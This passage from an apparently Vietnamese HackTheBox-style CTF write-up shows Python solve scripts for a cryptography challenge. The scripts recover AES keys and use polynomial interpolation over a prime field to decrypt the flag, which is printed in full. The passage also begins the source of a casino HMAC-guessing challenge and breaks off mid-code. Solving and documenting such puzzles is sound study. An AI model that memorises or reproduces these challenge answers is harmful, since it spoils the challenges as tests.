class="hljs-string">'de39a2bfd0633d03a8ea708283141e29f7dd643ea05adf129fac22b25012d450482fee48c578f4d83498752a565cb571004677421d39e3c044b29549e3ae087ec33dca39a230d5929d449ddfb76263451af60c03b35a333a32380ea45447a8dff431a3311cf3cb7add46a1369851ca1f766da80074e7ac33984d67ebea1b8ef70fa0110038e1f826d633cfbc56631b1731ad95df04e71ac99db2c58203c280d7f8c1f59347e2d61631c41e31c7a9f2d3499a7b0332f5d0833373fd95d18685dc749100724541ed3a74547dfb9400401832eea39bb302496feed89bb63a9cbc34c8499df6fe7911183a59e6036b8b7153a7410b90896dc3c9701a4ab234f6873521016c8e6ef725b18bca8b1447ae5130bc92fac66df75c4a39ebbf0b796b6f6e5c0d0a719212260cc2ce80de8636e54f2b9521bc5f238eae213473073f382017438e2bd12c74eeae0ac79cd88d88277b45529cfa8aaf2cef03c95c5119588b064f0ca8c39b48603ce560edcbdca67c81811e9d56a1f12a721e42766b0bcb30fac331b721cb4fbe91b3ed41261e79ea8bd7b0528196dc93104493f3468439e95c1f244799c9c44eceb91a094ea912eb484efc641ac9ddfbb074d998e32ea5dbf37286a46670a9b09f986df30efaaa33bde2ae8ccdfc199d3f1313854678d1cb2f0859ddaf3b785890b34fa067db8a0d4bf188abb57bc67dbc60026527805e1b29'</span>), (<span class="hljs-string">'17b3c96e8cc9be77c1ccdf88ad7d7153'</span>, <span class="hljs-string">'3cedfab70998b962267e3ca12f6bb24038231780a8182fc35616154c7de7534925ce33c9cb4e3122b41e6663746e6329a3cbf350f26ed033530dad507b4e38e479c24c5a224252bff7acb88f20074a7ed878bf057b67ea1a5c43f2a5f334c9b15531c0564fb06b66bc793183699d21b4ed0dd11380a82b86bfef67a2f43aa80878aaf57c2d0e671f58ba1bac992093d0b1fad469997f059d22df6eff1c46210cb99d5a6f174e133249ec943cf11ae8b03c86831c9c06da25c9409f0dce6c373c7f4ae3abd8b1eb9777fbb0449577b5d720f5b3e3762515d212e47e1b495dd0d77b1dfa7d5b47032e10a56bb3cb4bef750aa07aa9ab67ae34f236b638ecea59be03a1745443f9879ecd08655dd5577b7f93112167cf5e359ecb21f406b553e101d02ba72c100a8e28b4fe4a0caedb1abe989ec6945d7002cfa6ec18b4eb8d6f82a649ed73d4b189622ad7429e1fd47b953432b291ec145234b799064f92a9632434b8596155b14bdfc2bf6e1e11db166645ee2ab7a408012185a94e11cfba11e86c3099843aa6f8db16a8cd13b0a5c3a6468a6e9a993f20bcc874555f57ab60d7ee3260507122f044b5d1548866d7f3a3aa2c39a98e8ff229e3be24848b82dc93bb3d36351d43a0bddad8ad16b2e4b101148bedf90edbd18f4fde2d16b4ee7b6e4bb4122e1916ed7714cd84d3985a05a06cee60b1fa88fc77296ed2fa6bb79bc7'</span>), (<span class="hljs-string">'7a1690939f3504d8852e019bce703b36'</span>, <span class="hljs-string">'812593ba370e505a49454f3f6c577145740a4e480baa5c664438eefcb2c7b43cbe5ee70f4508d9f0573eb51e0d092d510ef39afb9b865a01b3ed3e52b0e1178dc5b5134e78ab7dbf67867df44d97d670f909caafae8c83e8137cc15d3b31f75140a6c1f0aaf731f7eced270889ac8baefac1a4915958688bff9e72642c20d3d07101e657c3f13e5b22fcd0abb1a1fbce3ef80148b602c27d77224b6b90b4888b91fe4709078908c66caa0ea7b5ab1c4cf44e440d72d029fd4195f7d7473b2439dafbb584aa2d311f61e7d7856bbb9ecdfe43f67dc8a7a584544e7d504be5f72f2c004b3bad7297a095a0dc946afa4734404ed854a81e94e459db2451f879a56ff88070ede0b2a50e80eb3bc4f0a57e7a0d7a26eb75a60841c5dd27a88df069e2d4168ab4fbc611d4d41b76f02aa4a7dcd6e4e961cff8f395e6c102b8b3f310ed1ca9a2240fb8c18ee144cf4811ab6d401f581098104a8904113231112f1548b5eaed352a5715708343156ee5de5da4cb6bb0a1c588b3134a15de09bcd66f6ab992de332350495a032595c56cc9ffa88ab2bb06f69a07925f993c2eff3fbcfdc439842740cc1c766bbcf0bc9e723874477649d53b31ead273a53bd3db4854a45b464f73d6644b25f0f7bc59160505427aebac54c3de1277a23a7674ab442cf15423ee92801869240d78a1868c0cd91b26963397ee415f35e750efc3fc7c575c76'</span>), (<span class="hljs-string">'eea1250fb02d2caf92b6a8d876b14075'</span>, <span class="hljs-string">'94d5da092886333e61ba6c314e02f14224b9a95fd94f6f389665cd9d206f619ddc188548d359815a9cc633c280b8bb7abe7a6ad3c7b88bdfd23043c3b76c75219f6092e8d7a324b57cba39104142a90f828beebb37698de5339cd13a947051d59afcf5fdfecdbe42928f66e63e67fc032415045142c24c89971f771af5ce85e873ffa23854663d6935091af754f0daa3c73ccbf4e456fe0f0fe61215499f46bacf6d1ad82fe87bf13bfa32dc2ac7c35bb7f5d965b00a026c0807212ba9157545915bb54457e3e336edd68e974841fa84d34aaaeed4287f1679ee470d87ebeac8657d85be49ad264e521a6aa97b4e73bd305cba86765333339766be4fe0871cd651fdefeea435c3237f5e936c683f34275364fea0f5ba2549fd2c847cb472c1bd454fe76fb70dccb7d3873190c340a5f749269edb38b9f25b293d1bfc07fcb2bfc395e4e8d10aea5696b55655a88dd0e77b6f2c65434dcb2425ac18af4fef250f321f9f3b46d6cc8f00fda100363f40e663280f1684282796919780033da5028b4274cb213c3c111fc9ff005affee5cedcad5ead0cd1f3896134e3a8db6322a920b1257fe1f7edef4ff631cc01f6a3113846588edb2d5785d2b6038dcf6d50f3f91d8600225eb787da4f95969fb7e91992cfc9a6c306d620da1a96dc79d71b1cd2c1b1e55536ea1465db78dfb82bff19c8d860968a0a8691ca6e39cf1e0e1cf59'</span>), (<span class="hljs-string">'82c51f77149b042a6f38b44b0271f8dc'</span>, <span class="hljs-string">'ed615261517660499d6daedf05a37cc82e2570a73d901f3c0296270e6bad08a4383ba060758df6507994ea99847d4ab57f5ddef04f67f8b586d65645c0839d8ef1832f014fdb8650278a831ceb1aa4c6d0458459665dc1fffe73efeef01c48a78a6f2d3161a4c84a4d0136cfad011092f066e11629ead12ccc0ee5920740b9b1e470f48cc384d139581bf6ba2f0f19eebc6de74c92f7cbe5118ae9529d27de10969fc60799da805e61918e482ff9866abd2feeafb21f60f099ab37a0902a3394f4e4808342ea9191f8c4422b2d0773434286cf0fbafe29a8f2c72a0bd63824cc23dd69d89374b9ea9ba2bd72ef96720c4e53a46077090e97b945135f321b3ea38bf67e9963f10f089679752ef46b15e65e3d29a5f51d021abd386b30b1a551ee658b142efae4641ee39d1d936ffacbdca8fdaff70b570ff43adedab7fd621261d543a0f83832ae0d07ecb9c3fc9141717401b55518bd690f898d8205c13de38669a300a47781becaf20293e78582457de4ffbc5d99027e65c69cdd2f7c3a8b1a4627cdbe08af810f5e502567dead38b0f369c227a8ff718335e1161aa415bc08435ca3e052082a0fa089c4f80d27a52edea78948dc40a906e15bebd4c5e34f93266517f8e2f0b939f977554e94e21ed0551bb92ec76770d5e4fad0ed49d862556277d36a54693e115c472f173228d420eabd9e18c70c7c10ca65ac8fc4c15002'</span>), (<span class="hljs-string">'750bc348b97e2babbff2a2ab090a2690'</span>, <span class="hljs-string">'ec1df20251dfc84dc53f7b1b2460fb9691744453f8297e6dcfc9372c5c079a42d00d1468a51ac420a94126f5920356d6c8dedebb05d12084a58879a70df316ab4a93311c978d7985fd84df74f759eca9b4d14b53d633a33269309011438608b8132edd8db941adebf2664998d47ef197a754deb673253f80561bc3af9ec7dbe1b8ddaf9f5abd29d8dc4c8b9d181a029606dbf0cf06f6c9c3da4fab18330d0b9ba51206ca6215e26d9fd95ae1e85323f5adc6e1e01f191ea90dec0c0b2b7d35c86729f8214640fe0e7dec80862122b37d81d22fda1e71c1a78fabcf0e323635d8dadd0f658608e88e0fa3996711f7548d9687d60da6662a750a16bdc7545026e52019da17181b35b06e67b585a007103b0bcd553c86e7125e8a9bd71b6e9acf056ac33efb381179942199f40d65d63b4e194da3631a5d69d74f86dadcefe40dd4cb9720b1c54fd1b55b84e939cc204c6b935092b6bd8cd098273e3846e1762619e4207073146d8b4c84e57ddf5d1a711f5dda5441916bc3f7a58e6092dc748823700a8047aeac84eaf80c764610b058733be543988d5e222da44722148f0f6de1e024bd72cd5027c71aa88d7425fa8a88d0dbd28b4238fcda18b745b5f1b771c44b57e6987ed912d165eb25577d24367b1db3a396e9bbd4c64513b3bec66f96423ca24ee703bb156ff3e4791f6491d3f5eceda94542e8432290a2ea12a88906a2'</span>), (<span class="hljs-string">'ba87f35146ae244d3687d0b6424b5d2a'</span>, <span class="hljs-string">'a04f3e3535961e5adcfb8a2d066e87316f4ed96c5e2e07ba1c72cd11ee3c2ca252267bdc55693fdb84bb6e169e348349fac2f37db85bf9370fb9f49aa1b86961604e0d9f993feec339157299744812552e7e80dd1ff813ec7d93a8f076046bdb47d30b5289751374042e345be1e254ed0aac856bdcf3d5c65868e26302bf2b69f18f883fef5f46f67a0e90cbb4aab3baf855fe11dd06c5cf48cdddda23e90ec814055d904405821b50cd80e94c03a1c22b78a11dddce22cdf6adcb3c752cc0c9f9e49438687dc465911a2bdd0d7151a14f2a17f32ccd27737151ea0b21dbd0c6d4a7aad82ec87a90706e068184076e30471f6af43047bfb32c3aef141ab588a240985ac9ecd314a53d67e326f31f02de983e7ad3925fe8e575489fb40729531bafc471211f4c80496ff6d493ce27cc90e61db9d682842e6faa00a1eb4721a9f568bd4830ccce5000d2906276287a822153d2faab19c0a53f101367ca4a5d31089cd4b3154a159630cae34b43589cc1d15e291a57bff1e6f22f2d0e1da8cea6cf540c9d587d41e79be0769f69d219cbd499bbf182d6e65a3b9470b0034da7bd8b6e9230ac671c1c2dd75cc04cb093ef2751d1c7f355d870e30958682a2ef44a2edece705f6481a5e8dcc23d3600885e2ea5b8031c93946e869bd9ef6c5b5e6f9a5da3778c1504cdf8c6564be3d331dc6654c0a46265cfd17a996b8a5c1cb0ff0d'</span>), (<span class="hljs-string">'c9e6539e83bfa3ce2e23c55a62658210'</span>, <span class="hljs-string">'e1ada87c8e26e27fa1b254be9b79aab86ddbf9bfb7a8488f84469311befea74f69eab0447d76a0ffaa016392aef06cccdfe685dafcea6f79e3dba8b2bdf91563c06b29693fa2517e157af45b391d0f616e7f97b333b4b1b42996dc08c5be0acecf064d9f5b7019461698c22ff8c16e43da2eaefc70442ee50c1f5b5ff85cf84e48a1b4b187a2f93258865604d6ee17142ab338161a46dae40fd20c99797de6c23c8074753fa9a7f3e986a92dd8b2bcad18fb64fd342bcabf28db2cdd52cf5c02effc4e03ce12cdd075d5d22dde6a35917ef355f9523096c2e2ac9422b0b9327241d5740dbb84667c31bde3047db86693ab950e08fa958786b46fc75b73437626b674a7c90febbea8a186a2b84ee3c5cd0634460e53845d8a28ff29c65166fe3673aeb0e74827ef397837247d01d1bece06b547fdf4bbbb48716ea0f8bd8988123a0fea2b62bdfe1e4abfb6df41b6804747eb4bb49a8c27bcd62be316e018fb58606652421cd22f607daf060c6d2bf233680edad9b7bc49c1205c2670b259674272fade9b9a34d5cf82b34d70a87d06f1af49b7af657a477f9e105fb6d1c612d441f7582cc7471159e1a4275e0fea3729979d046d0fd88a91dc6f94312ea5ee9a0ed9dd152f9bd1598f14d05f877eeb72e93282d0034ae507e6a4b63d019274c8ffd533c4682c42815e8ebd44a938ba5a844bf26dea16e0dc3ea479741395602f'</span>), (<span class="hljs-string">'1020dc977f2a38dd689000f5c09f1eea'</span>, <span class="hljs-string">'907f73d25d0abe361c7c367af7c277df254ab628acf62aa69c8fdc8499eefd768d1d0de6cf498a17070be451b3bc258ba929ed47b45cc3c74e18321ea1275ca433145dade987f2c16e1d61e8ac1d7fccc353c9dd6b08076a899ce11649d9404d46c999228a0b7e48338d78a746543b696b0dfbae3b063cbc86df88a32a428e3dde29d99ef7cd164a03db424461b5356ccaa3934bd8fa1565d10176d8199055676696d78563fdbffc27291093c9f69517072b7424fbffa5a4392eee62a9f8a9420e9cd70dc78d7cbdbc1edcaef4d1eba72a17074348af9ac241481579c92f0185e209ea9d54c1af5cd037be7bdcfe3f4bbae7e5fe77ad80ed8c9ce924fe65ca30252ad0e60e99903991c3ec00572a9416db52bc242af7a7e66d8ad65508782d639e119c3bc1f628e648a722930f2eefeb21a5f521daca791a94846170f598a524231fdf28d9efc48fdb68caa3ed5e1aa088bf6c42b297f4d3723858466c75494295704bf9b98dc3a238998938af08a407a0366527a519daf254ffce879a86e5bc3f6e21c32c6d3a6982f57fd6af0d22f96899696d47313dbfdef06671bb82045d787327a68b222cad797585663693366960e778ebc52896a76090c492ea15ba1d47784dfc09b08fc421007a537bc02f0f731df0e25e4d94e7f9410c12c46a930ef54a9c98a8837218db94823b4ea85bd0490f9a7d95d2dd6d24b5c1e3f46941b6'</span>), (<span class="hljs-string">'9e6e93c485558d9d32e82c0e6bf5be00'</span>, <span class="hljs-string">'c17b5932d26b6007f8720b8be1468d0fea831a2c90bbb2ec882b2d03e3e7ddb4f4f70807bcfd9b294c3c4a9917cea0f71b6d53e6551fc01336216d5866fd18c52ad0e282c67933cc22508a43af9923588ac26635282b3196b946a9b392086aa17c26050e17585513c804d9a9597acd20bc1a7d88984dc410f83deef27e5f832d73655cd0c9478bd9bdaef1823685358e91405bc5e07b0c9e741d0d0be1b779e1cdb02c87cc8f0cb3c32362fd49abe8ed953501dbb9a94de05b3ab1bed206b72b6a584e0b1416fae0ea3c806609f4b439008e5a43417726a63126cdbbd901501c24fb76ca0dc2ddb776b39ac20efd8da882dedc97b0e8ef8ff60529436b6567aea4a54330860483bba843d147257d081c0f5760458810eddadb1733102fc101b3fa5ec8bc7ce2d305f2d73665f4ea2298c23511a7a7357619a9f4bcc633eb6121584b600dbd1a97f8c4803edd449213184b95e02efe09d04a8475cd4504a07e2dedca17e3fe916e2e36fbb0ad599e569684ca0b0cc529bb4ad2fa3de9354be5c892611d13a42fdfcfa7cf655e5d28577774e9c1a68daf236ab0736bded07a1bfe194a72bb445c8be1ceec9132b2aa4659947d699ae3216d540d7dcda6f7bfcae6ae64c5a5f4355648c07801f18106c9b9d68b852b59956c799b0c2e8ee70317199b37a52a0878efd494650948a691a7915f323b95a24b7d606effa085362a3e81'</span>)]]
00cc03bebb6756fded9a55e772b665d3f98004163904713b83c0bfed06558e9ce57d1d50409179741b09d5f059d668d5fd7775892e403357200c5c516125cb53451f52d34f08e4e2885588c046360bfc44c84a3a4da194484d2ca414ba01e698221936ea8e372b6a3bf4af1c85a99e54df52b58d6a7a0add3752e88fa928c15d
</code></pre>
<ul>
<li><p>Bài này thì mình có <strong>enc_msg</strong> và <strong>enc_flag</strong>. Có lẽ mình sẽ phải tìm lại <strong>msg</strong> trước để xem nó có hint gì cho việc tìm lại flag không.</p>
</li>
<li><p>Nhìn vào cách nó mã hóa thì msg được chia thành 10 phần mã hóa $CBC$, $iv$ thì có rồi nên chỉ cần tìm 10 cái key thôi.</p>
</li>
<li><p><img src="https://hackmd.io/_uploads/BJNL9NwXR.png" alt="image" /></p>
</li>
<li><p>Nhìn cách key được gen ra thì mình mình đoán là giá trị out chỉ toàn giá trị 0 hoặc toàn giá trị 1 . Tuy mới chỉ là tiên đoán đầu tiên nhưng mình cứ thử xem liệu có đúng $out = "0"*256$ không hoặc $out = "1"*256$ . Thì mình tìm lại được $msg$ thật :))</p>
</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> math
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *   
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> tqdm
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad,unpad
<span class="hljs-keyword">from</span> output <span class="hljs-keyword">import</span> *


MSG = []
<span class="hljs-keyword">for</span> enc <span class="hljs-keyword">in</span> enc_msg:
    <span class="hljs-keyword">for</span> hint <span class="hljs-keyword">in</span> enc:
        <span class="hljs-keyword">try</span>:
            out = <span class="hljs-string">"0"</span>*<span class="hljs-number">256</span>
            iv = bytes.fromhex(hint[<span class="hljs-number">0</span>])
            enc_msg = bytes.fromhex(hint[<span class="hljs-number">1</span>])
            key = sha256(out.encode()).digest()
            cipher = AES.new(key, AES.MODE_CBC, iv)
            msg = unpad(cipher.decrypt(enc_msg),<span class="hljs-number">16</span>)
            MSG.append(msg.decode())
            <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">except</span>:
            <span class="hljs-keyword">pass</span>

<span class="hljs-keyword">for</span> msg <span class="hljs-keyword">in</span> MSG:
    print(msg)
</code></pre>
<ul>
<li><p><img src="https://hackmd.io/_uploads/By8MsEwmC.png" alt="image" /></p>
</li>
<li><p>Theo 3 following ở trên thì mình cần tìm 1 đa thức từ 5 giá trị $shared$, sau đó hệ số tự do sẽ là $KEY$ để tìm lại flag.</p>
</li>
<li><p>Ở đây mình đoán có 5 giá trị $x$ thì phương trình cần tìm là phương trình bậc 4 thôi. Mình giải bằng ma trận nhé:</p>
</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> gmpy2 <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> math
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *   
<span class="hljs-keyword">from</span> tqdm <span class="hljs-keyword">import</span> tqdm
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> Crypto.Util.Padding <span class="hljs-keyword">import</span> pad,unpad

enc_flag = bytes.fromhex(<span class="hljs-string">"00cc03bebb6756fded9a55e772b665d3f98004163904713b83c0bfed06558e9ce57d1d50409179741b09d5f059d668d5fd7775892e403357200c5c516125cb53451f52d34f08e4e2885588c046360bfc44c84a3a4da194484d2ca414ba01e698221936ea8e372b6a3bf4af1c85a99e54df52b58d6a7a0add3752e88fa928c15d"</span>)

x1 = [<span class="hljs-number">1</span>, <span class="hljs-number">27006418753792019267647881709336369603809025474153761185424552629526746515909</span>]
x2 = [<span class="hljs-number">2</span>, <span class="hljs-number">76590454267924193303526931251420387908730989759486987968207839464816350274449</span>]
x3 = [<span class="hljs-number">3</span>, <span class="hljs-number">67564500698667187837224046797217120599664632018519685208508601443605280795068</span>]
x4 = [<span class="hljs-number">4</span>, <span class="hljs-number">57120102994643471094254225269948720992016639286627873340589938545214763610538</span>]
x5 = [<span class="hljs-number">5</span>, <span class="hljs-number">87036956450994410488989322365773556006053008613964544744444104769020810012336</span>]
p = <span class="hljs-number">88061271168532822384517279587784001104302157326759940683992330399098283633319</span>

B = [
    [x1[<span class="hljs-number">0</span>]**<span class="hljs-number">4</span>,x1[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span>,x1[<span class="hljs-number">0</span>]**<span class="hljs-number">2</span>,x1[<span class="hljs-number">0</span>]**<span class="hljs-number">1</span>,<span class="hljs-number">1</span>],
    [x2[<span class="hljs-number">0</span>]**<span class="hljs-number">4</span>,x2[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span>,x2[<span class="hljs-number">0</span>]**<span class="hljs-number">2</span>,x2[<span class="hljs-number">0</span>]**<span class="hljs-number">1</span>,<span class="hljs-number">1</span>],
    [x3[<span class="hljs-number">0</span>]**<span class="hljs-number">4</span>,x3[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span>,x3[<span class="hljs-number">0</span>]**<span class="hljs-number">2</span>,x3[<span class="hljs-number">0</span>]**<span class="hljs-number">1</span>,<span class="hljs-number">1</span>],
    [x4[<span class="hljs-number">0</span>]**<span class="hljs-number">4</span>,x4[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span>,x4[<span class="hljs-number">0</span>]**<span class="hljs-number">2</span>,x4[<span class="hljs-number">0</span>]**<span class="hljs-number">1</span>,<span class="hljs-number">1</span>],
    [x5[<span class="hljs-number">0</span>]**<span class="hljs-number">4</span>,x5[<span class="hljs-number">0</span>]**<span class="hljs-number">3</span>,x5[<span class="hljs-number">0</span>]**<span class="hljs-number">2</span>,x5[<span class="hljs-number">0</span>]**<span class="hljs-number">1</span>,<span class="hljs-number">1</span>]
]

C = [x1[<span class="hljs-number">1</span>],x2[<span class="hljs-number">1</span>],x3[<span class="hljs-number">1</span>],x4[<span class="hljs-number">1</span>],x5[<span class="hljs-number">1</span>]]

B = Matrix(GF(p),B)
C = vector(C)
A = B.solve_right(C)
KEY  = long_to_bytes(int(A[<span class="hljs-number">4</span>]))

<span class="hljs-keyword">assert</span> sha256(KEY).hexdigest().startswith(<span class="hljs-string">'786f36dd7c9d902f1921629161d9b057'</span>)

cipher = AES.new(KEY, AES.MODE_ECB)
flag = unpad(cipher.decrypt(enc_flag),<span class="hljs-number">16</span>)
print(flag)
</code></pre>
<p><strong>Flag:</strong><code>HTB{what_a_cool_random_number_generator_by_bluuuuuum_bluuuuuum_and_shuuuuuub_i_implemented_it_securely_didnt_i?}</code></p>
<h2 id="heading-not-that-random">Not that random</h2>
<p><strong><em>credit: Zupp</em></strong></p>
<h3 id="heading-description">Description</h3>
<ul>
<li>Challenge server:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> <span class="hljs-operator">*</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">Crypto</span>.<span class="hljs-title">Random</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">random</span>, <span class="hljs-title">get_random_bytes</span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">hashlib</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title"><span class="hljs-built_in">sha256</span></span>
<span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-title">secret</span> <span class="hljs-title"><span class="hljs-keyword">import</span></span> <span class="hljs-title">FLAG</span>

<span class="hljs-title">def</span> <span class="hljs-title">success</span>(<span class="hljs-title">s</span>):
    <span class="hljs-title">print</span>(<span class="hljs-title">f</span><span class="hljs-string">'\033[92m[+] {s} \033[0m'</span>)

<span class="hljs-title">def</span> <span class="hljs-title">fail</span>(<span class="hljs-title">s</span>):
    <span class="hljs-title">print</span>(<span class="hljs-title">f</span><span class="hljs-string">'\033[91m\033[1m[-] {s} \033[0m'</span>)

<span class="hljs-title">MENU</span> <span class="hljs-operator">=</span> <span class="hljs-string">''</span><span class="hljs-string">'
Make a choice:

1. Buy flag (-500 coins)
2. Buy hint (-10 coins)
3. Play (+5/-10 coins)
4. Print balance (free)
5. Exit'</span><span class="hljs-string">''</span>

<span class="hljs-title">def</span> <span class="hljs-title">keyed_hash</span>(<span class="hljs-title">key</span>, <span class="hljs-title">inp</span>):
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title"><span class="hljs-built_in">sha256</span></span>(<span class="hljs-title">key</span> <span class="hljs-operator">+</span> <span class="hljs-title">inp</span>).<span class="hljs-title">digest</span>()

<span class="hljs-title">def</span> <span class="hljs-title">custom_hmac</span>(<span class="hljs-title">key</span>, <span class="hljs-title">inp</span>):
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">keyed_hash</span>(<span class="hljs-title">keyed_hash</span>(<span class="hljs-title">key</span>, <span class="hljs-title">b</span><span class="hljs-string">"Improving on the security of SHA is easy"</span>), <span class="hljs-title">inp</span>) <span class="hljs-operator">+</span> <span class="hljs-title">keyed_hash</span>(<span class="hljs-title">key</span>, <span class="hljs-title">inp</span>)

<span class="hljs-title">def</span> <span class="hljs-title">impostor_hmac</span>(<span class="hljs-title">key</span>, <span class="hljs-title">inp</span>):
    <span class="hljs-title"><span class="hljs-keyword">return</span></span> <span class="hljs-title">get_random_bytes</span>(64)

<span class="hljs-title">class</span> <span class="hljs-title">Casino</span>:
    <span class="hljs-title">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>):
        <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">=</span> 100
        <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">secret_key</span> <span class="hljs-operator">=</span> <span class="hljs-title">get_random_bytes</span>(16)

    <span class="hljs-title">def</span> <span class="hljs-title">buy_flag</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>):
        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">&gt;</span><span class="hljs-operator">=</span> 500:
            <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">-</span><span class="hljs-operator">=</span> 500
            <span class="hljs-title">success</span>(<span class="hljs-title">f</span><span class="hljs-string">"Winner winner chicken dinner! Thank you for playing, here's your flag :: {FLAG}"</span>)
        <span class="hljs-title"><span class="hljs-keyword">else</span></span>:
            <span class="hljs-title">fail</span>(<span class="hljs-string">"You broke"</span>)

    <span class="hljs-title">def</span> <span class="hljs-title">buy_hint</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>):
        <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">-</span><span class="hljs-operator">=</span> 10
        <span class="hljs-title">hash_input</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">bytes</span></span>.<span class="hljs-title">fromhex</span>(<span class="hljs-title">input</span>(<span class="hljs-string">"Enter your input in hex :: "</span>))
        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">random</span>.<span class="hljs-title">getrandbits</span>(1) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 0:
            <span class="hljs-title">print</span>(<span class="hljs-string">"Your output is :: "</span> <span class="hljs-operator">+</span> <span class="hljs-title">custom_hmac</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">secret_key</span>, <span class="hljs-title">hash_input</span>).<span class="hljs-title">hex</span>())
        <span class="hljs-title"><span class="hljs-keyword">else</span></span>:
            <span class="hljs-title">print</span>(<span class="hljs-string">"Your output is :: "</span> <span class="hljs-operator">+</span> <span class="hljs-title">impostor_hmac</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">secret_key</span>, <span class="hljs-title">hash_input</span>).<span class="hljs-title">hex</span>())

    <span class="hljs-title">def</span> <span class="hljs-title">play</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>):
        <span class="hljs-title">my_bit</span> <span class="hljs-operator">=</span> <span class="hljs-title">random</span>.<span class="hljs-title">getrandbits</span>(1)
        <span class="hljs-title">my_hash_input</span> <span class="hljs-operator">=</span> <span class="hljs-title">get_random_bytes</span>(32)

        <span class="hljs-title">print</span>(<span class="hljs-string">"I used input "</span> <span class="hljs-operator">+</span> <span class="hljs-title">my_hash_input</span>.<span class="hljs-title">hex</span>())

        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">my_bit</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> 0:
            <span class="hljs-title">my_hash_output</span> <span class="hljs-operator">=</span> <span class="hljs-title">custom_hmac</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">secret_key</span>, <span class="hljs-title">my_hash_input</span>)
        <span class="hljs-title"><span class="hljs-keyword">else</span></span>:
            <span class="hljs-title">my_hash_output</span> <span class="hljs-operator">=</span> <span class="hljs-title">impostor_hmac</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">secret_key</span>, <span class="hljs-title">my_hash_input</span>)

        <span class="hljs-title">print</span>(<span class="hljs-string">"I got output "</span> <span class="hljs-operator">+</span> <span class="hljs-title">my_hash_output</span>.<span class="hljs-title">hex</span>())

        <span class="hljs-title">answer</span> <span class="hljs-operator">=</span> <span class="hljs-title"><span class="hljs-keyword">int</span></span>(<span class="hljs-title">input</span>(<span class="hljs-string">"Was the output from my hash or random? (Enter 0 or 1 respectively) :: "</span>))

        <span class="hljs-title"><span class="hljs-keyword">if</span></span> <span class="hljs-title">answer</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-title">my_bit</span>:
            <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">+</span><span class="hljs-operator">=</span> 5
            <span class="hljs-title">success</span>(<span class="hljs-string">"Lucky you!"</span>)
        <span class="hljs-title"><span class="hljs-keyword">else</span></span>:
            <span class="hljs-title"><span class="hljs-built_in">self</span></span>.<span class="hljs-title">player_money</span> <span class="hljs-operator">-</span><span class="hljs-operator">=</span> 10
            <span class="hljs-title">fail</span>(<span class="hljs-string">"Wrong!"</span>)

    <span class="hljs-title">def</span> <span class="hljs-title">print_balance</span>(<span class="hljs-title"><span class="hljs-built_in">self</span></span>):
        <span class="hljs-title">print</span>(<span class="hljs-title">f</span><span class="hljs-string">"You have {self.player_money} coins."</span>)



<span class="hljs-title">def</span> <span class="hljs-title">main</span>():
    <span class="hljs-title">print</span>(<span class="hljs-string">"Welcome to my online casino! Let's play a game!"</span>)
    <span class="hljs-title">casino</span> <span class="hljs-operator">=</span> <span class="hljs-title">Casino</span>()

